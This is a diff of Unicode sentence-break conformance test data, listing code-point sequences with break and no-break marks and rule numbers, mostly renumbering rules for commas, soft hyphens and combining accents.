+÷ 002C × 0308 × 0001 ÷ # ÷ [0.2] COMMA (SContinue) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <START OF HEADING> (Other) ÷ [0.3]
+÷ 002C × 000D ÷ # ÷ [0.2] COMMA (SContinue) × [998.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 002C × 0308 × 000D ÷ # ÷ [0.2] COMMA (SContinue) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 002C × 000A ÷ # ÷ [0.2] COMMA (SContinue) × [998.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 002C × 0308 × 000A ÷ # ÷ [0.2] COMMA (SContinue) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 002C × 0085 ÷ # ÷ [0.2] COMMA (SContinue) × [998.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
+÷ 002C × 0308 × 0085 ÷ # ÷ [0.2] COMMA (SContinue) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
+÷ 002C × 0009 ÷ # ÷ [0.2] COMMA (SContinue) × [998.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
+÷ 002C × 0308 × 0009 ÷ # ÷ [0.2] COMMA (SContinue) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
+÷ 002C × 0061 ÷ # ÷ [0.2] COMMA (SContinue) × [998.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
+÷ 002C × 0308 × 0061 ÷ # ÷ [0.2] COMMA (SContinue) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
+÷ 002C × 0041 ÷ # ÷ [0.2] COMMA (SContinue) × [998.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
+÷ 002C × 0308 × 0041 ÷ # ÷ [0.2] COMMA (SContinue) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
+÷ 002C × 01BB ÷ # ÷ [0.2] COMMA (SContinue) × [998.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
+÷ 002C × 0308 × 01BB ÷ # ÷ [0.2] COMMA (SContinue) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
+÷ 002C × 0030 ÷ # ÷ [0.2] COMMA (SContinue) × [998.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 002C × 0308 × 0030 ÷ # ÷ [0.2] COMMA (SContinue) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 002C × 002E ÷ # ÷ [0.2] COMMA (SContinue) × [998.0] FULL STOP (ATerm) ÷ [0.3]
+÷ 002C × 0308 × 002E ÷ # ÷ [0.2] COMMA (SContinue) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] FULL STOP (ATerm) ÷ [0.3]
+÷ 002C × 0021 ÷ # ÷ [0.2] COMMA (SContinue) × [998.0] EXCLAMATION MARK (STerm) ÷ [0.3]
+÷ 002C × 0308 × 0021 ÷ # ÷ [0.2] COMMA (SContinue) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] EXCLAMATION MARK (STerm) ÷ [0.3]
+÷ 002C × 0022 ÷ # ÷ [0.2] COMMA (SContinue) × [998.0] QUOTATION MARK (Close) ÷ [0.3]
+÷ 002C × 0308 × 0022 ÷ # ÷ [0.2] COMMA (SContinue) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] QUOTATION MARK (Close) ÷ [0.3]
+÷ 002C × 002C ÷ # ÷ [0.2] COMMA (SContinue) × [998.0] COMMA (SContinue) ÷ [0.3]
+÷ 002C × 0308 × 002C ÷ # ÷ [0.2] COMMA (SContinue) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] COMMA (SContinue) ÷ [0.3]
÷ 002C × 00AD ÷ # ÷ [0.2] COMMA (SContinue) × [5.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 002C × 0308 × 00AD ÷ # ÷ [0.2] COMMA (SContinue) × [5.0] COMBINING DIAERESIS (Extend_FE) × [5.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 002C × 0300 ÷ # ÷ [0.2] COMMA (SContinue) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 002C × 0308 × 0300 ÷ # ÷ [0.2] COMMA (SContinue) × [5.0] COMBINING DIAERESIS (Extend_FE) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
-÷ 00AD × 0001 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [12.0] <START OF HEADING> (Other) ÷ [0.3]
-÷ 00AD × 0308 × 0001 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <START OF HEADING> (Other) ÷ [0.3]
-÷ 00AD × 000D ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [12.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-÷ 00AD × 0308 × 000D ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-÷ 00AD × 000A ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [12.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-÷ 00AD × 0308 × 000A ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-÷ 00AD × 0085 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [12.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
-÷ 00AD × 0308 × 0085 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
-÷ 00AD × 0009 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [12.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
-÷ 00AD × 0308 × 0009 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
-÷ 00AD × 0061 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [12.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
-÷ 00AD × 0308 × 0061 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
-÷ 00AD × 0041 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [12.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
-÷ 00AD × 0308 × 0041 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
-÷ 00AD × 01BB ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [12.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
-÷ 00AD × 0308 × 01BB ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
-÷ 00AD × 0030 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [12.0] DIGIT ZERO (Numeric) ÷ [0.3]
-÷ 00AD × 0308 × 0030 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] DIGIT ZERO (Numeric) ÷ [0.3]
-÷ 00AD × 002E ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [12.0] FULL STOP (ATerm) ÷ [0.3]
-÷ 00AD × 0308 × 002E ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] FULL STOP (ATerm) ÷ [0.3]
-÷ 00AD × 0021 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [12.0] EXCLAMATION MARK (STerm) ÷ [0.3]
-÷ 00AD × 0308 × 0021 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] EXCLAMATION MARK (STerm) ÷ [0.3]
-÷ 00AD × 0022 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [12.0] QUOTATION MARK (Close) ÷ [0.3]
-÷ 00AD × 0308 × 0022 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] QUOTATION MARK (Close) ÷ [0.3]
-÷ 00AD × 002C ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [12.0] COMMA (SContinue) ÷ [0.3]
-÷ 00AD × 0308 × 002C ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] COMMA (SContinue) ÷ [0.3]
+÷ 00AD × 0001 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [998.0] <START OF HEADING> (Other) ÷ [0.3]
+÷ 00AD × 0308 × 0001 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <START OF HEADING> (Other) ÷ [0.3]
+÷ 00AD × 000D ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [998.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 00AD × 0308 × 000D ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 00AD × 000A ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [998.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 00AD × 0308 × 000A ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 00AD × 0085 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [998.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
+÷ 00AD × 0308 × 0085 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
+÷ 00AD × 0009 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [998.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
+÷ 00AD × 0308 × 0009 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
+÷ 00AD × 0061 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [998.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
+÷ 00AD × 0308 × 0061 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
+÷ 00AD × 0041 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [998.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
+÷ 00AD × 0308 × 0041 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
+÷ 00AD × 01BB ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [998.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
+÷ 00AD × 0308 × 01BB ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
+÷ 00AD × 0030 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [998.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 00AD × 0308 × 0030 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 00AD × 002E ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [998.0] FULL STOP (ATerm) ÷ [0.3]
+÷ 00AD × 0308 × 002E ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] FULL STOP (ATerm) ÷ [0.3]
+÷ 00AD × 0021 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [998.0] EXCLAMATION MARK (STerm) ÷ [0.3]
+÷ 00AD × 0308 × 0021 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] EXCLAMATION MARK (STerm) ÷ [0.3]
+÷ 00AD × 0022 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [998.0] QUOTATION MARK (Close) ÷ [0.3]
+÷ 00AD × 0308 × 0022 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] QUOTATION MARK (Close) ÷ [0.3]
+÷ 00AD × 002C ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [998.0] COMMA (SContinue) ÷ [0.3]
+÷ 00AD × 0308 × 002C ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] COMMA (SContinue) ÷ [0.3]
÷ 00AD × 00AD ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [5.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 00AD × 0308 × 00AD ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [5.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 00AD × 0300 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 00AD × 0308 × 0300 ÷ # ÷ [0.2] SOFT HYPHEN (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
-÷ 0300 × 0001 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [12.0] <START OF HEADING> (Other) ÷ [0.3]
-÷ 0300 × 0308 × 0001 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <START OF HEADING> (Other) ÷ [0.3]
-÷ 0300 × 000D ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [12.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-÷ 0300 × 0308 × 000D ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-÷ 0300 × 000A ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [12.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-÷ 0300 × 0308 × 000A ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-÷ 0300 × 0085 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [12.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
-÷ 0300 × 0308 × 0085 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
-÷ 0300 × 0009 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [12.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
-÷ 0300 × 0308 × 0009 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
-÷ 0300 × 0061 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [12.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
-÷ 0300 × 0308 × 0061 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
-÷ 0300 × 0041 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [12.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
-÷ 0300 × 0308 × 0041 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
-÷ 0300 × 01BB ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [12.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
-÷ 0300 × 0308 × 01BB ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
-÷ 0300 × 0030 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [12.0] DIGIT ZERO (Numeric) ÷ [0.3]
-÷ 0300 × 0308 × 0030 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] DIGIT ZERO (Numeric) ÷ [0.3]
-÷ 0300 × 002E ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [12.0] FULL STOP (ATerm) ÷ [0.3]
-÷ 0300 × 0308 × 002E ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] FULL STOP (ATerm) ÷ [0.3]
-÷ 0300 × 0021 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [12.0] EXCLAMATION MARK (STerm) ÷ [0.3]
-÷ 0300 × 0308 × 0021 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] EXCLAMATION MARK (STerm) ÷ [0.3]
-÷ 0300 × 0022 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [12.0] QUOTATION MARK (Close) ÷ [0.3]
-÷ 0300 × 0308 × 0022 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] QUOTATION MARK (Close) ÷ [0.3]
-÷ 0300 × 002C ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [12.0] COMMA (SContinue) ÷ [0.3]
-÷ 0300 × 0308 × 002C ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] COMMA (SContinue) ÷ [0.3]
+÷ 0300 × 0001 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [998.0] <START OF HEADING> (Other) ÷ [0.3]
+÷ 0300 × 0308 × 0001 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <START OF HEADING> (Other) ÷ [0.3]
+÷ 0300 × 000D ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [998.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 0300 × 0308 × 000D ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 0300 × 000A ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [998.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 0300 × 0308 × 000A ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 0300 × 0085 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [998.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
+÷ 0300 × 0308 × 0085 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
+÷ 0300 × 0009 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [998.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
+÷ 0300 × 0308 × 0009 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
+÷ 0300 × 0061 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [998.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
+÷ 0300 × 0308 × 0061 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
+÷ 0300 × 0041 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [998.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
+÷ 0300 × 0308 × 0041 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
+÷ 0300 × 01BB ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [998.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
+÷ 0300 × 0308 × 01BB ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
+÷ 0300 × 0030 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [998.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 0300 × 0308 × 0030 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 0300 × 002E ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [998.0] FULL STOP (ATerm) ÷ [0.3]
+÷ 0300 × 0308 × 002E ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] FULL STOP (ATerm) ÷ [0.3]
+÷ 0300 × 0021 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [998.0] EXCLAMATION MARK (STerm) ÷ [0.3]
+÷ 0300 × 0308 × 0021 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] EXCLAMATION MARK (STerm) ÷ [0.3]
+÷ 0300 × 0022 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [998.0] QUOTATION MARK (Close) ÷ [0.3]
+÷ 0300 × 0308 × 0022 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] QUOTATION MARK (Close) ÷ [0.3]
+÷ 0300 × 002C ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [998.0] COMMA (SContinue) ÷ [0.3]
+÷ 0300 × 0308 × 002C ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] COMMA (SContinue) ÷ [0.3]
÷ 0300 × 00AD ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [5.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0300 × 0308 × 00AD ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [5.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0300 × 0300 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 0300 × 0308 × 0300 ÷ # ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
-÷ 0028 × 0022 × 0047 × 006F × 002E × 0022 × 0029 × 0020 ÷ 0028 × 0048 × 0065 × 0020 × 0064 × 0069 × 0064 × 002E × 0029 ÷ # ÷ [0.2] LEFT PARENTHESIS (Close) × [12.0] QUOTATION MARK (Close) × [12.0] LATIN CAPITAL LETTER G (Upper) × [12.0] LATIN SMALL LETTER O (Lower) × [12.0] FULL STOP (ATerm) × [9.0] QUOTATION MARK (Close) × [9.0] RIGHT PARENTHESIS (Close) × [9.0] SPACE (Sp) ÷ [11.0] LEFT PARENTHESIS (Close) × [12.0] LATIN CAPITAL LETTER H (Upper) × [12.0] LATIN SMALL LETTER E (Lower) × [12.0] SPACE (Sp) × [12.0] LATIN SMALL LETTER D (Lower) × [12.0] LATIN SMALL LETTER I (Lower) × [12.0] LATIN SMALL LETTER D (Lower) × [12.0] FULL STOP (ATerm) × [9.0] RIGHT PARENTHESIS (Close) ÷ [0.3]
-÷ 0028 × 201C × 0047 × 006F × 003F × 201D × 0029 × 0020 ÷ 0028 × 0048 × 0065 × 0020 × 0064 × 0069 × 0064 × 002E × 0029 ÷ # ÷ [0.2] LEFT PARENTHESIS (Close) × [12.0] LEFT DOUBLE QUOTATION MARK (Close) × [12.0] LATIN CAPITAL LETTER G (Upper) × [12.0] LATIN SMALL LETTER O (Lower) × [12.0] QUESTION MARK (STerm) × [9.0] RIGHT DOUBLE QUOTATION MARK (Close) × [9.0] RIGHT PARENTHESIS (Close) × [9.0] SPACE (Sp) ÷ [11.0] LEFT PARENTHESIS (Close) × [12.0] LATIN CAPITAL LETTER H (Upper) × [12.0] LATIN SMALL LETTER E (Lower) × [12.0] SPACE (Sp) × [12.0] LATIN SMALL LETTER D (Lower) × [12.0] LATIN SMALL LETTER I (Lower) × [12.0] LATIN SMALL LETTER D (Lower) × [12.0] FULL STOP (ATerm) × [9.0] RIGHT PARENTHESIS (Close) ÷ [0.3]
-÷ 0055 × 002E × 0053 × 002E × 0041 × 0300 × 002E × 0020 × 0069 × 0073 ÷ # ÷ [0.2] LATIN CAPITAL LETTER U (Upper) × [12.0] FULL STOP (ATerm) × [7.0] LATIN CAPITAL LETTER S (Upper) × [12.0] FULL STOP (ATerm) × [7.0] LATIN CAPITAL LETTER A (Upper) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) × [12.0] FULL STOP (ATerm) × [8.0] SPACE (Sp) × [8.0] LATIN SMALL LETTER I (Lower) × [12.0] LATIN SMALL LETTER S (Lower) ÷ [0.3]
-÷ 0055 × 002E × 0053 × 002E × 0041 × 0300 × 003F × 0020 ÷ 0048 × 0065 ÷ # ÷ [0.2] LATIN CAPITAL LETTER U (Upper) × [12.0] FULL STOP (ATerm) × [7.0] LATIN CAPITAL LETTER S (Upper) × [12.0] FULL STOP (ATerm) × [7.0] LATIN CAPITAL LETTER A (Upper) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) × [12.0] QUESTION MARK (STerm) × [9.0] SPACE (Sp) ÷ [11.0] LATIN CAPITAL LETTER H (Upper) × [12.0] LATIN SMALL LETTER E (Lower) ÷ [0.3]
-÷ 0055 × 002E × 0053 × 002E × 0041 × 0300 × 002E ÷ # ÷ [0.2] LATIN CAPITAL LETTER U (Upper) × [12.0] FULL STOP (ATerm) × [7.0] LATIN CAPITAL LETTER S (Upper) × [12.0] FULL STOP (ATerm) × [7.0] LATIN CAPITAL LETTER A (Upper) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) × [12.0] FULL STOP (ATerm) ÷ [0.3]
-÷ 0033 × 002E × 0034 ÷ # ÷ [0.2] DIGIT THREE (Numeric) × [12.0] FULL STOP (ATerm) × [6.0] DIGIT FOUR (Numeric) ÷ [0.3]
